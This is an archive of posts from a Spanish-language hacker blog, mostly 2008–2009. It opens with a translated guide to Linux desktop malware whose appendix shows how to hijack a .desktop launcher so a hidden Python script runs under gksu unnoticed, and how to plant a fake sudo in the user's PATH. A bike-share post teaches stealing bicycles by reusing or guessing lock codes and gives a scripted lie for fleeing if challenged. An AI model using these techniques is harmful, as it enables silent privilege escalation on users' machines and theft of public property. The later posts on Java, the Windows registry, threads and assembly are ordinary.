A pesar de todo, he comprobado que funciona con las recientes Ubuntu 8.10, Kubuntu 8.10 y Fedora 10. Debido a que todo ésto está basado en funcionalidades de Gnome y KDE, asumo que la mayoría de distribuciones que utilicen esos escritorios son vulnerables también.

Bootnote (NdT: No se como traducirlo exactamente pero se sobreentiende)

Hace algún tiempo había un reto orientado a escribir un virus que pudiera infectar un sistema de escritorio de Linux. El reto original contenía dos advertencias importantes, a saber: Primero, tenía que ser capaz de infectar la máquina que escribió el reto. Nada más se sabía de esa máquina. Por ejemplo, no sabíamos que escritorio estaba usando. Segundo, el virus debía poder escribir un fichero en el directorio/etc, que sólo suele tener acceso para el root.

Yo diría de un virus para Linux que si es capaz de infectar instalaciones estandar de algunas distros populares es exitoso. Se que la aproximación que estoy sugiriendo puede infectar instalaciones estandar de Ubuntu, Kubuntu y Fedora por ejemplo.

Segundo, como remarqué arriba, conseguir privilegios de root no es necesario para infectar un ordenador con Linux con éxito. Es más interesante la cuenta del usuario que es infectado, ¿no? De todas formas, si hablamos sobre ordenadores de escritorio, en la mayoría de casos sólo va a haber un usuario. La distinción entre infectar un sistema (como root) o una cuenta de usuario (como el usuario) es como mucho académica. Debido a que una infectión tiene el mismo efecto que decir "la máquina está infectada". Después de todo, el usuario la mayoría de las veces se logeará y el malware se ejecutará en cualquier caso. Da igual, me puse en contacto con el autor de este reto y le expliqué la situación. Insistió en las reglas originales de este reto. Es justo, es su reto y por lo tanto sus reglas.

¿Pues bien, y qué si realmente quieres ser root?

Apéndice: Consiguiendo ser root

Conseguir privilegios de root es considerado siempre un poco como conseguir el santo grial de comprometer otra máquina. Como hemos visto, no conseguirlo no siempre te previene de pasar un buen rato con un virus. Pero ya para rematar la faena, déjenme mostrar una forma para que tu malware consiga ser root. Puede haber otras formas, pero ésta es la que yo hago por ahora.

Puedes ver, incluso en Linux de escritorio normales, los usuarios hacen cosas como root. En el caso de Ubuntu por ejemplo usarás 'sudo' (o el equivalente gráfico gksu) de vez en cuando para realizar cierta administración del sistema. Quizás para administrar usuarios, cambiar la hora o para instalar nuevo software. Muchas cosas en el menú Sistema -> Administración te pedirán tu contraseña por ese motivo. Por defecto, el usuario de un sistema de escritorio Ubuntu tiende a estar en el grupo 'admin', el cual está mencionado en /etc/sudoers. Así que, dando tu contraseña puedes realizar tareas con privilegios de root.

Ahora bien, ¿cómo podemos obtener ventaja de ésto? Tiene que ocurrir que las cosas del menú de tu Gnome están configuradas individualmente en algún lado. ¿Quizás podamos hackear eso de forma que en vez de synaptic (el administrador gráfico de paquetes) o cualquier otra utilidad que corra con sudo or gksu, nuestro bonito malware sea ejecutado? ¿Después de que el usuario dé su contraseña para sudo? Pero las cosas del menú están definidas en un lugar al que sólo se puede tener acceso de escritora como root. Echa un vistazo a /usr/share/applications. Ahí puedes encontrar - otra vez - un gran número de lanzadores. Estos están definiendo varias cosas del menú. Por ejemplo, echa un vistazo a synaptic.desktop. Puedes ver que contiene la siguiente línea:

Exec=gksu /usr/sbin/synaptic

Sí, ¿y si pudiéramos ir y editar eso? Si nuestro malware pudiera ir ahí y cambiarlo a esto:

Exec=gksu python .local/.hidden/s.py /usr/sbin/synaptics

Eso ejecutaría nuestro malware con privilegios de root. Nótese de que silenciosamente pasamos el nombre original del ejecutable (/usr/sbin/synaptics) a nuestro malware, de forma que pueda arrancar synaptics después de que se dé a si mismo privilegios de root de forma permanente o de hacer lo que quiera como root. De esa forma el usuario no sospechará.

Pero, no podemos editar ese fichero. ¿Sin suerte otra vez? Afortunadamente no. Gnome es suficientemente amable como para mirar si tenemos definiciones locales de alguno de esos ficheros desktop, que sobreescribirá los ajustes del sistema. Esos van en ~/.local/share/applications. Así que simplemente puedes hacer una copia de synaptic.desktop de /usr/share/applications a ~/.local/share/applications y los cambios que quieras en él. Entonces sólo tienes que sentarte y esperar por la siguiente vez que el usuario ejecute synaptics y ya está.

Por supesto, no tienes por qué limitarte a synaptics. Para tener mejores posibilidades de ser ejecutado con privilegios de root cualquiera de las applicaciones en el menú de administración que requieran gksu son buenas. Y francamente, probablemente podrás hacer cambios parecidos e introducir gksu a muchas de las aplicaciones en en Sistema -> Preferencias. Como usuario de Ubuntu, tendrás que dar tu contraseña a gksu de vez en cuando. Si el usuario no presta atención, no se dará ni cuenta de que se le ha pedido la contraseña por una utilidad que nunca antes la había pedido.

Y para aquellos usuarios a los que les gusta usar el terminal (traductor presente): Bueno, en ese caso el malware simplemente liar un poco tu definición del path y colocar una versión 'tuneada' del comando sudo en tu path, que será ejecutado cada vez que escribas 'sudo'.

Como puedes ver, esto no te puede garantizar hacerte root (si el usuario nunca utiliza esos programas), pero tienes muchas posibilidades de conseguirlo si eres paciente.

Actualizado, Feb 12, 2009: Me resultaría sorprendente si yo fuera la primera persona que piensa en esta vulnerabilidad. Mirando un poco en Internet, no he podido encontrar referencias a ésto. El editor de LWN.net (NdT: Linux Week New, revista muy popular de Linux donde trabaja algún que otro desarrollador del núcleo incluso) hizo un mejor trabajo. Como señala aquí ha habido debates sobre las vulnerabilidades introducidas por los ficheros .descktop desde 2006.

Espero que esta traducción sirva de ayuda para la comunidad de hackers de habla hispana.

Soy consciente de que hay varias faltas de ortografía (algunas las he visto yo mismo y otras sé que no las habré visto), e incluso también me doy por enterado de que en ciertas partes la traducción deja bastante que desear, pero creo que llega a las espectativas de alguien que quisiera ver este documento en español.

Happy hacking! ;)

Cracking biciambiental

2008-12-21T15:08:00.002Z

Buenas a los lectores de nuevo!

Después de un tiempo sin postear nada vuelvo a la carga, esta vez con una vulnerabilidad facilmente explotable en... EL SERVICIO DE BICIAMBIENTAL de las palmas (de gran canaria)... aunque mas bien es una vulnerabilidad que da pie a varias casuisticas nada agradables.

El sistema de prestamo funciona de la siguiente manera:

- Te apuntas al servicio rellenando un formulario con tus datos y dandoselo al encargado de la oficina.

- Enseñas tu DNI y pides una bicicleta.

- Te dan una tarjeta con el numero de bicicleta y la contraseña de la cadena.

La arquitectura de la infraestructura es la siguiente: Las bicicletas estan cerca del punto de peticion de bicis, ESTO NO IMPLICA QUE LOS ENCARGADOS LAS ESTEN VIENDO, de hecho en san telmo no estan controladas.

Problema:

Las bicis no estan en todo momento vigiladas por un dispositivo (me da igual si humano o maquina), esto produce que haya momentos en los que una persona podria tomar una bicicleta si anteriormente conoce la contraseña...

Sobra decir que se puede pedir una bicicleta, ver la contraseña, devolver la bicicleta y llevarsela. Este es el ataque mas simple y aunque estoy seguro que seria bastante efectivo podemos mejorarlo. Aunque los encargados oficiales no nos esten vigilando, si podria estarlo alguien ajeno al sistema, usuarios de guaguas, vigilantes de las paradas, chofers, etc...). Si bien es ALTISIMAMENTE probable que aunque con todo descaro cojamos una bici y nos la llevemos no nos digan nada, si alguien nos parara diciendo "eh tu, no robes la bici" estariamos en una situacion un poco embarazosa y solo quedaria aplicar un poco de ingenieria social para librarse.

- Eh tu! que haces robando una bici?!
- Como que robando!?
- No tienes la tarjeta credencial de haber pedido una bici y te acabo de ver quitandole el candado a una.
- Como que no tengo la credencial?! La tengo aqui mismo! o que se cree? que me se de memoria todas las contraseñas de las 300 bicis que tiene el servicio? (rebusco en mi mochila, bolsillo, etc...) Coño! pues menos mal que ha ocurrido esto! me he dejado la tarjeta con el chico que me atendio!

Y huimos xD. Hay que tener cuidado, a lo mejor no se podra usar este dialogo... CREATIVIDAD!

Con esto queda mostrada una vulnerabilidad en el sistema de biciambiental. Las contraseñas son de varios usos, esta vulnerabilidad se da debido a un mal diseño del sistema, la solucion seria modificar esta metodologia.

Sin embargo aqui no acaba todo, hay otra vulnerabilidad que tambien permite la obtencion de bicicletas. Esta vulnerabilidad es causada debido por un lado al sistema que se usa (contraseñas de multiples usos) a la infraestructura que se usa (candados de combinacion numerica... 10000 numeros para ser exactos) y el contacto con el que, por desgracia, siempre es el eslabon mas debil en los aspectos de seguridad, el ser humano. Para presentarlo expondre un ejemplo.

Alice cogio una bicicleta de forma legal, se dio su paseito con ella y ahora va a devolverla. Antes de devolver su credencial aparca la bici en el correspondiente sitio y le pone el candado y lo cierra. Luego devuelve la credencial enseñando su DNI y ya esta, Alice ya no es responsable de la bici.

Bob, que estaba atento, a los pasos (probablemente monitorizando mediante sniffing xD), espero a que Alice se fuera para tranquilamente ir al aparcamiento de las bicicletas y probar una tecnica de cracking ideada por el mismo. Consite en que el humano (medio) es muy vago y no tiene cuidado con la seguridad de las cosas (menos aun si no son suyas), lo que ha ocasionado que cuando Alice cerro el candado de la bici MOVIO MUY POCOS NUMEROS, dejando practicamente la contraseña al completo. Bob vio que en el candado habia un 4677, probo a poner 5677 y que casualidad! se abrio el candado y se pudo llevar la bici sin enteractuar con gente de la oficina, ni siquiera tiene que estar dado de alta en el servicio. Un robo practicamente imposible de seguir.

La metodologia de cracking de Bob se ha basado en lo que ya se comento, el humano a la hora de cerrar un candado tiende a dejar practicamente la totalidad de la contraseña marcada y ademas los pocos digitos que no pertenecen a la contraseña suelen estar cercanos a los digitos de contraseña real. En un caso generico:

Dado un candado que tiene el numero XYZW y cuya contraseña real es ABCD (X, Y, Z, W, A, B, C y D son digitos del 0-9) es bastante posible que ABCD sea "cercana" a XYZW, entendiendo por cercana que la distancia de levenshtein entre XYZW y ABCD es pequeña. Segun mis pocos rigurosos estudios con una distancia de 2 es mas que suficiente para poder crackear algun candado de los presentes y normalmente con distancia 1 sobra. Adicionalmente hay que hacer ver que ambas cadenas son de tamaño fijo y por tanto las operaciones de adicion de caracter y eliminacion de caracter definidas por las distancia de levenshtein son superfluas, pues la unica operacion que hace falta es la de sustitucion de caracter.

Para poner un ejemplo (aunque prefiero la definicion):
XYZW = 4677 ==> ABCD podria estar en el conjunto [3677, 5677, 4577, 4777, 4667, 4687, 4676, 4678].

En este ejemplo se ha enseñado un subconjunto de las cadenas con DL (Distancia de Levenshtein) 1 a la adena 4677, adicionalmente se ha usado la heuristica de que es mas probable que la contraseña real tenga digitos cercanos a la secuencia visible en el candado. Si vemos un 4 es mas probable que la contraseña real tenga en esa posicion un 3, un 4 o un 5 que un 7.

Hay mas vulnerabilidades en el sistema, pero estas dos son realmente grandes. Me pregunto si biciambiental es consciente de ello y si lo pretenden arreglar o no... No voy a proponer soluciones porque ya me extiendo demasiado.

NOTA: No useis mal este conocimiento. Con este texto pretendo dos cosas. Por un lado exponer conocimiento, simplemente dar a conocer este hecho. Por otro lado espero que esto sirva para que personas alejadas con la seguridad de la informacion aprendan y vean como estos conocimientos son aplicables mas alla de las fronteras de un mero ordenador y que la escencia es exactamente la misma, lo unico que cambia son los elementos a su alrededor.

Bug en la ventana de entrada de GNOME

2008-11-04T08:50:00.002Z

Entrada rapida, justo ahora probe a cambiar mi contraseña y a logearme con ventanitas y no pude, lo intente unas cuantas veces y nada, me dio por probarlo desde una terminal y pude logearme... Motivo de no poder logearme en ventanas? Le puse una ñ a mi contraseña xD... no lo tengo muy probado pero es la conclusion rapida a la que llegue... cambie la contraseña desde consola y luego me logee desde las ventanas y caso resuelto.

Manual de Subversion

2008-10-25T12:41:00.002Z

O no escribo nada en meses o escribo dos post seguidos en dos dias xD.

Bueno, ultimamente estoy intentando administrar un servidor de subversion asinn que estoy leyendo cosas, peleandome un poco y aprendiendo. He encontrado este manual que esta en español y es muy completo... para dudas puntuales a lo mejor es algo gordo, pero parece estar bien indexado.

Una vez que se es root

2008-10-24T09:19:00.003Z

Bueno, como llevamos tiempo sin escribir nada voy a comentar una cosita.

Todos (o mejor dicho, todos los que alguna vez visitan este blog) han soñado alguna vez con ser un "super jaquer chupi guay" de esos que guiñando un ojo te roban la contraseña del "jormeil" y tal y cual. Bueno... yo no soy de esos.

A mi me gusta meterme dentro del sistema (gnu/linux principalmente) y ver que cojones hay por dentro y como funciona, al principio es un coñazo, pero cuando ya uno empieza a ver mas o menos como esta organizado todo (o casi todo) y mas o menos sabe como moverse y sabe usar bibliografia, referencias (y egrep :-) y demas pues todo empieza a ser mas entretenido.

Una vez probe a ver hasta que punto podia llegar con conocimientos de como funciona la memoria de un proceso y me dije "oye, si un demonio de ssh recibe una contraseña en un mensaje (que evidentemente esta cifrado) tendra que descrifrar el mensaje para coger esa contraseña en TEXTO CLARO y luego volverla a cifrar usando el algoritmo propio que use el sistema en el que esta corriendo (normalmente en gnu/linux se usa md5), pero durante un pequeño periodo de tiempo a fin de cuentas estara en texto claro". Asinn que me puse a investigar un poquillo e intente pillarme mis contraseñas robandoselas al mas que seguro servidor openssh... y lo logre, de una forma un tanto cutre, pero me pille mis contraseñas.

Esto es una tonteria porque solo lo puedo hacer si soy root en el sistema y hablando claro... ser root de un sistema es serlo todo asinn que tampoco tiene demasiado merito, pero me sirvio para practicar unas cuantas cosas, programacion de modulos, organizacion del sistema, intrusion, stealthing, etc...

Pueden proponerme formas de hacerlo y las analizamos para ver si son correctas o no... Es que ultimamente me aburro un poco, estoy disperso...

Despliega aplicaciones por la red con un simple click

2008-07-27T16:14:00.019Z

La tecnología Java Web Start permite descargar, ejecutar y mantener actualizada una aplicación en cualquier sistema con una maquina virtual de java.

Por ejemplo: Haciendo click sobre el icono "Launch", descargaras y ejecutaras en tu maquina una aplicación de escritorio que está alojada en los servidores de Sun.

La siguiente vez que ejecutes la aplicación, ésta se auto-actualizará antes de volver a ejecutarse en tu equipo. Existen varios niveles de ejecución, además es posible proponer al usuario la creación de un icono de acceso rápido y también mostrar una imagen personalizada durante la carga.

Para distribuir cualquier aplicación java con este sistema debemos empaquetarla en un ".jar", crear un archivo ".jnlp" y subirlos a un servidor web configurado adecuadamente.

Vamos a ver como sería esto ahorrándonos el servidor web. Es decir, alojando la aplicación en nuestro propio disco:

Primero crearemos una clase "Example.java" que mostrará un simple diálogo de texto.

import javax.swing.JFrame;
import javax.swing.JOptionPane;

public class Example extends JFrame {

private static final long serialVersionUID = 1L;

public Example() {
 super("Mi Ventana");

 JOptionPane.showMessageDialog(this, "Hola, Mundo!");

 this.pack();
 this.setVisible(true);
}

public static void main(String[] args) throws Exception {
 new Example();
}

}

Luego la compilamos y empaquetamos sus binarios en un ".jar"

javac Example.java
jar cf Example.jar Example.class

(El archivo de manifiesto debe indicar la clase de entrada de la aplicacion)

Por último creamos el archivo "Ejemplo.jnlp" que define ciertos parámetros de la aplicación.

<jnlp codebase="file:/home/user/" href="Example.jnlp">
<information>
  <title>Titulo</title>
  <vendor>Vendedor</vendor>
</information>
<resources>
  <j2se version="1.4+">
      <jar href="Example.jar">
      </jar>
      <application-desc class="Example">
      </application-desc>
  </j2se>
</resources>
</jnlp>

Y ya podemos hacer click sobre Example.jnlp o bien ejecutar la ordern "javaws Example.jnlp"

(Lo marcado en rojo arriba indica la ruta donde tengamos nuestro Ejemplo.jar.)

Añadir que en .NET existe algo parecido llamado ClickOnce

Enlaces:
Java Web Start Technology
Java Tutorials Lesson: Java Web Start
Java Web Start Guide

RFC-1

2008-07-08T12:08:00.002Z

Hoy traigo una curiosidad friki de las mías.

¿No se han preguntado nunca cuál es el primer RFC de todos?, pues yo hasta hace 5 minutos tampoco :D.

El primer RFC data del 7 de Abril de 1969 (antes de que el hombre llegase a la luna y todo) y trata sobre el tipo de software que deben utilizar los hosts para comunicarse entre ellos. No una clase de software concreto sino más bien la arquitectura de este, lo que debe y no debe hacer y que problemática hay en esto de la comunicación.

http://www.faqs.org/ftp/rfc/rfc1.txt

El mejor backdoor de todos los tiempos

2008-05-19T17:58:00.004Z

Hoy me dió por instalarme el programa fortune así que sin más dilación hice:

sudo pacman -S fortune-mod

Luego me puse a ver que paquetes de mensajes para fortune había en el repositorio y me encontré con el jargon file!, lo instalé:

sudo pacman -S fortune-mod-jargon

Para quién no lo sepa, fortune, es un programa antiguo de UNIX (creado para BSD creo) que simplemente te escribe aleatoriamente un mensaje de todos los que tiene en unos ficheros. En mi caso están en /usr/share/fortune/, abrí jargon y ví que era el diccionario hacker, así que me puse a buscar cosas que se me ocurrían: C, virus, hacker, UNIX y acabé buscando Ken Thompson.

Cito textualmente una parte de la definición:

"Historically, back doors have often lurked in systems longer than
anyone expected or planned, and a few have become widely known.
Ken Thompson's 1983 Turing Award lecture to the ACM admitted the
existence of a back door in early Unix versions that may have
qualified as the most fiendishly clever security hack of all time.
In this scheme, the C compiler contained code that would recognize
when the `login' command was being recompiled and insert some
code recognizing a password chosen by Thompson, giving him entry to
the system whether or not an account had been created for him.

Normally such a back door could be removed by removing it from the
source code for the compiler and recompiling the compiler. But to
recompile the compiler, you have to use the compiler -- so
Thompson also arranged that the compiler would recognize when
it was compiling a version of itself, and insert into the
recompiled compiler the code to insert into the recompiled
`login' the code to allow Thompson entry -- and, of course, the
code to recognize itself and do the whole thing again the next time
around! And having done this once, he was then able to recompile
the compiler from the original sources; the hack perpetuated itself
invisibly, leaving the back door in place and active but with no
trace in the sources."

Traducción extremadamente libre hecha por mí.

Históricamente, los backdoors, han estado merodeando por los sistemas más de lo que ninguno se imaginó o planeó, y algunos se han vuelto ampliamente conocidos. La conferencia que Ken Thompson dió cuando en 1983 le otorgaron el "Turing Award" (premio Turing) a la ACM, admitía la existencia de un backdoor en las primeras versiones de Unix que puede ser calificado como el más diabólicamente inteligente hack de seguridad de todos los tiempos. En este plan, el compilador de C contenía código que reconocería cuándo el comando 'login' estaba siendo recompilado e insertaba código que reconocía una contraseña elegida por Thompson, dándole entrada al sistema tanto si la cuenta existía o no.

Normalmente un backdoor como éste puede eliminarse eliminándolo del código fuente del compilador y recompilando el compilador. Pero para recompilar el compilador necesitas el compilador -- entonces Thompson introdujo al compilador código para que reconociera cuándo estaba compilando una versión de si mismo e insertara en el compilador recompilado el código para insertar en el 'login' recompilado el código para dejar entrar a Thompson -- y, por supuesto, el código para reconocerse a sí mismo y hacer todo el proceso otra vez la próxima vez! Y haciendo esto una vez, pudo dejar que el compilador se compilara desde los fuentes originales; el hack se ocultaba a sí mismo, dejando un backdoor activo pero sin rastro en los fuentes.

Increíble truco x'DDDDDDDDDDD.

Grandes Frases Informáticas

2008-05-10T17:02:00.002Z

Hola, navegando por ahi encontre un blog donde mostraban grandes fraces de la informatica.

Yo me quedo con esta:

“La programación es una carrera entre los desarrolladores, intentando construir mayores y mejores programas a prueba de idiotas, y el universo, intentanto producir mayores y mejores idiotas. Por ahora va ganando el Universo” Rich Cook

Pero esta va para Aythami:

“Bien, Java podría ser un buen ejemplo de cómo debería ser un lenguaje de programación. Sin embargo, las aplicaciones Java son buenos ejemplos de cómo las aplicaciones no deberían ser” Pixadel

Las demas estan aqui:

http://www.blogdemaria.com/2008/04/06/grandes-frases-informaticas/

DEFCON

2008-04-21T19:07:00.003Z

Hoy una entrada rapidita y nada técnica, sólo una curiosidad.

DEFCON es una reunión anual donde acuden los mayores y más importantes hackers, crackers y expertos en seguridad de todo el mundo. Se celebra en Las Vegas y tienen charlas de todo tipo, competiciones de hacking, lockpicking (abrir cajas fuertes) y es donde nació el concepto de CTF (Capture The Flag), un tipo de torneo donde unos cuantos hackers atacan y otros tantos defienden, dura un finde entero. También tienen fiestas y competiciones de beber cerveza y cosas por el estilo xDD.

Ahhh, sería fantástico tener dinerillo y poder tomarse una semanita por allí. Se suele celebrar entre finales de Julio y principios de Agosto y a ella no sólo van hackers, etc... también acuden periodistas, abogados y demás fauna de este estilo. Como nota de color tengo que añadir que el FBI, DoD o NSA (entre otras) acuden allí no sólo a hacer charlas, sino también a contratar gente, imaginen el nivel que se mueve por allí.

Y para terminar unas curiosidades, existe un tablón público en donde se van anotando todos los users y passwords de la gente que no tiene suficiente cuidado durante el evento. Entrar en el evento cuesta 120$ los 3 días, sólo se acepta el pago en metálico, ni transferencias bancarias, ni cheques, etc..., no quieren ponerle fácil a los gobiernos su persecución. Al evento acuden no sólo white hat hackers, también black hat hackers por lo que las fuerzas de seguridad están muy presentes. La organización de DEFCON pone para el uso de todo el público asistente una red para poder conectarse a Internet, sin embargo dejan bien claro que el uso de la misma debería hacerse única y exclusivamente desde ordenadores que no importen que sean infectados, hackeados, formateados, etc... esa red está considerada la red más peligrosa del mundo.

Usar el Registro de Windows con java JNIRegistry

2008-04-18T10:00:00.000Z

De nuevo vuelvo a escribir para intentar plasmar un poquito mas de conocimiento adquirido con este tema del uso del registro de windows, pero esta vez utilizando una librería externa de java creada por el grupo ICE Engineering que elimina la limitación de solo poder usar el registro de windows a partir de la clave (nodo) ../java/prefs/ que nos impone el uso de la clase Preferences de java, de la cual ya escribir explicándola un poco.

Antes de empezar a explicar un poco como hacer todo esto y poner un ejemplo auto explicativo, debo decir que esta librería externa que usamos para poder usar el registro de windows, realiza su cometido haciendo uso del JNI (Java Native Inferface) que no es más que este grupo, para poder implementar esto, se creo una librería en C que haciendo uso de la API que windows proporciona para usar el registro de windows, nos ofrece unas clases para poder hacer todo el trabajo.

Para poder usar este código fuente, debemos añadir la librería a nuestro proyecto ( registry.jar) y además poner la DLL donde este el proyecto para que podamos ejecutar el ejemplo.

Organización de la librería JNIregistry .

Esta librería nos proporciona varias clases, pero las más básicas son:

Registry, RegistryKey y RegistryValue.

Registry: Es la clase nos proporciona los mecanismos para poder inicializar/usar/abrir un árbol de claves (nodos) , osea lo primero para poder usar las demás cosas.

RegistryKey: Esta clase es la que usamos para trabajar con las claves que necesitamos, paa usar un objeto de esta clase, debemos inicializarlo/crearlo mendiante la clase Registry.

RegistryValue:Esta clase es la que representa un registro, osea donde se contienen los datos a los que queremos acceder.

La clase RegistryValue representa un registro en el registro de windows, pero tened en cuenta que representa un registro genérico, osea, puede cargar/crear un registro de cualquier tipo (DWORD, binario, string, etc...) así que cuando vayamos a sacar valores o introducirlos debemos dárselos como un vector de bytes. Sino queremos estar pendientes de estar haciendo conversiones de tipos y tenemos muy claro con que tipo de registro estamos trabajando, podemos usar las clases específicas para manejar cada tipo de registro, las cuales nos proporcionan mecanismos más cómodos para trabajar con los registros de windows. Estas clases las podemos ver en la documentación.

Dicho todo lo anterior, ya solo me queda poner el código de ejemplo, el cual nos da una visión de como usar la clase de forma genérica. Sólo una aclaración, este ejemplo usa una clave que yo usaba la "Software\\Atlas\\egEasy\\egOffice\\miclave" es una ruta que tengo yo en mi ordenador y "miclave" es una clave que me cree con el regedit de windows para hacer las pruebas de solo lectura, si quieren esto lo podéis cambiar o crearos ustedes mismo el árbol de claves que deseen.

Código del ejemplo:
import com.ice.jni.registry.Registry;
import com.ice.jni.registry.RegistryException;
import com.ice.jni.registry.RegistryKey;
import com.ice.jni.registry.RegistryValue;

/**
*
* @author nmelian
*/
public class Main {

/*
* El archivo DLL de este jar, hay que meterlo en la carpeta del proyecto
* en la raiz solamente. a no se que se configure el java.lib, para que vaya
* a la ruta que tu quieras a buscar la DLL
*/
public static void main(String[] args)
{
/*
* En este punto nos creamos un objeto que representa una Clave (nodo)
* y con openSubkey le asignamos la ruta de la clave que queremos usar
* y el arbol que vayamos a usar (el del user o el de la maquina local)
* */
RegistryKey regkey = Registry.HKEY_CURRENT_USER;
RegistryKey Clave =Registry.openSubkey(regkey,"Software\\Atlas\\egEasy\\egOffice\\miclave",RegistryKey.ACCESS_ALL);

try
{
/*Aqui nos creamos un objeto que representa un Registro y le asignamos
* el registro que queremos sacado de la clve que nos creamos antes.
* */
RegistryValue Registro = Clave.getValue("mivalor");

/* Con el registro que acabamos de obtener, podemos acceder a distivos
* atributos, como el nombre del atributo (que debe ser el mismo que
* utilizamos en Clave.getValue("mivalor"); cuadno creamos el objeto registro
* El nombre con su ruta absoluta con getFullName() y el tipo de registro
* que es, con getType() Por ultimo para acceder al valor que contiene el
* registro debemos utilizar la Clave y decirle que nos de la ristra que
* representa el contenido del registro que le pasamos. Ojo, esta forma de
* acceder a los datos del registro, es unsando la clase RegistryValue, que
* la mas generica para que no importe que tipo de registro estamos accediendo,
* ya que si es un tipo binario, un tipo DWORD, etc... deberíamos acceder a los
* datos con Registro.getByteData() y luego transformarlos al tipo de dato que
* nosotros esperemos.
* */
System.out.print(
"\nName :" +
Registro.getName() +
"\nKey :" +
Registro.getKey().getFullName() +
"\nType :" +
Registro.getType() +
"\nContenido :" +
Clave.getStringValue(Registro.getName())
);

/* Para asignarle un valor a un regitro para guardarlo en la clave, debemos
* primero asignarle el valor al registro, con Registro.setByteData();
* el valor que vayamos a asignarle debemos pasarselo vomo un vector de bytes,
* despues debemos asignar ese registro a la clave donde estemos trabajando,
* con Clave.setValue( Registro);
*
* */
String contenido = "12.18.1.1";
Registro.setByteData(contenido.getBytes());
Clave.setValue( Registro);
System.out.print(
"\n///--------" +
"\nName :" +
Registro.getName() +
"\nKey :" +
Registro.getKey().getFullName() +
"\nType :" +
Registro.getType() +
"\nContenido :" +
Clave.getStringValue(Registro.getName())
);

}
catch(RegistryException ex)
{
ex.printStackTrace();
}
}

}

Usar el Registro de Windows con java Preferences

2008-04-17T11:16:00.002Z

Aquí publico una buena entrada en el blog para plasmar como hacer unas de las curiosidades que siempre he tenido, como usar el registro de windows en mis programas.

Básicamente me remito a plasmar un código de ejemplo que hice basándome en otro que encontré por internet. No creo que haga falta en este punto explicar nada, ya que me preocupe de comentar bastante el código y poco más puedo añadir.

Bueno chao y asta la próxima… que será dentro de poco.

Código del ejemplo.

import java.util.logging.Level;
import java.util.logging.Logger;
import java.util.prefs.BackingStoreException;
import java.util.prefs.Preferences;

/* Autor: Nauzet
* Esto un ejemplo de como usar la Clase Preferences de java.util.prefs y
* dando algunos datos de como se usa.
* El ejemplo consta de como leer y escribir en el registro de windows y como
* hacer algunas comprobaciones.
* */

public class Main
{

public static void main(String[] args) {
try {

/*La variable Mipref es un nodo del registro de windows, que esta representado
* como un arbol de directorio. En este punto con userRoot le asignamos la raiz
* del arbol de HKEY_CURRENT_USER\Software\JavaSoft\Prefs . Ojo que con esta
* Clase no nos da la raiz del arbol de usuario del registro (HKEY_CURRENT_USER)
* sino que nos da un nodo al partir podemos trabajar… supongo que es
* filosofía de java.
*
* Si queremos usar el arbol de nodos de la maquina local (HKEY_LOCAL_MACHINE)
* debemos usar .systemRoot() en vez de useRoot().
*/
Preferences Mipref = Preferences.userRoot();

/* Con el metodo node, le asignamos la ruta de registro a la que queremos
* acceder o escribir. Solo decir que si la ruta pasada a node no esta, la crea.
* la ruta tiene que empezar por / y estar escrita en minuscula, para que no
* haya fallos al crear la ruta.
*/

Mipref = Mipref.node(”/software/atlas/egeasy/egoffice/miclave”);

/* Se hace con isUserNode la comprocacion de que el nodo este en el arbol
* HKEY_CURRENT_USER name() nos devuelve el nombre de la clave (nodo) en el que
* estamos. Esto no es necesario, pero esto es un ejemplo de uso.
*/
if (Mipref.isUserNode()) {
System.out.println(”isUserNode” + “:” + Mipref.name() );
}

/* absolutePath(), nos devuelve el nombre de la clave y su ruta absoluta.
* Ej.: /software/atlas/egeasy/egoffice/miclave */
System.out.println(”La ruta absoluta :” + Mipref.absolutePath());

/*nodeExists(), comprobamos que una clave (nodo) existe.
*/
if (Mipref.nodeExists(”/software/atlas/egeasy/egoffice/miclave”)) {

System.out.println(”SI Existe el nodo con nodeExists”);
System.out.println(”El name :”+Mipref.name());

/* get(), nos devulve el valor que contiene la variable dentro de la clave
* (nodo) a la que tenemos asignada la variable Mipref. Para el metodo get(),
* tenemos que pasar el nombre de la variable a la que qeremos acceder y como
* segundo parametro, una string que nos devolverá sino encuentra esa variable.
* Nota en un nodo pueden haber muchas variables, lo que contiene un nodo lo
* llamo variable por que no estoy seguro de como se llama.
*/
System.out.println(Mipref.get(”javamio”, “No se encuentra”));
}else
System.out.println(”No existe el nodo con nodeExists”);

/* put(), le pasamos el nombre de la variable y el valor que queremos que
* tenga asignado ese registro. Se lo debemos pasar en minuscula por que si le
* pasaramos MiNuevoValor, el resultado que observariamos en el regedit de
* windows sería: /Mi/Nuevo/Valor
*/
Mipref.put(”javamio”, “minuevovalor”);

} catch (BackingStoreException ex) {
Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
}

}

Desengaño

2008-03-11T12:27:00.004Z

Esta va a ser una entrada rápida. Resulta que he estado equivocado todo este tiempo, no sabía crear hilos (threads) en UN*X. Creía que se hacía con fork(2), pero no, esto crea procesos.

Para usar hilos hay que jugar MUUUUUCHO con la llamada al sistema sys_clone, que se accede mediante la llamada de biblioteca clone(2). Pero hay un problema, que realmente no estamos haciendo casi nada, hay que manejar un montón de cosas por debajo. Lo mejor es usar los famosos pthreads, normalmente ya vienen en el sistema (/usr/include/pthread.h) pero no siempre viene la documentación, al menos en Ubuntu no viene, asi que hay que instalar la documentacion completa de la glibc, "sudo apt-get install glibc-doc" y a partir de ahí "man 7 phtreads", "man phtread_create", etc...

Como curiosidad les diré que tanto pthreads como clone(2) como fork(2) utilizan por debajo sys_clone, pero esto no implica que lo que crea fork(2) sean hilos, no se dejen engañar.

Ensamblador empotrado en código C

2008-02-15T20:23:00.002Z

Por supuesto ustedes saben que se puede pinchar código en ensamblador (con la sintaxis de AT&T) directamente en los fuentes de C y luego compilarlo con GCC.

Si bien esto es muy útil sólo cuando realmente se quiere jugar a nivel profundillo en las cosas, aprender cómo funciona es bastante complicado. Para empezar hace falta tener conocimiento deCnte (jas jas jos jos) de C, por supuesto hace falta saber ensamblador y depende de para que queramos pinchar código totalmente no portable necesitaremos un nivel intermedio o avanzadillo xDD, me explico.

Si queremos simplemente optimizar rutinas escribiendo instrucciones concretas de procesadores concretos sólo necesitamos conocer lo básico, aunque sinceramente la parte de optimización se la dejaría al propio GCC y le metería el flag --march= (o algo así, man gcc).

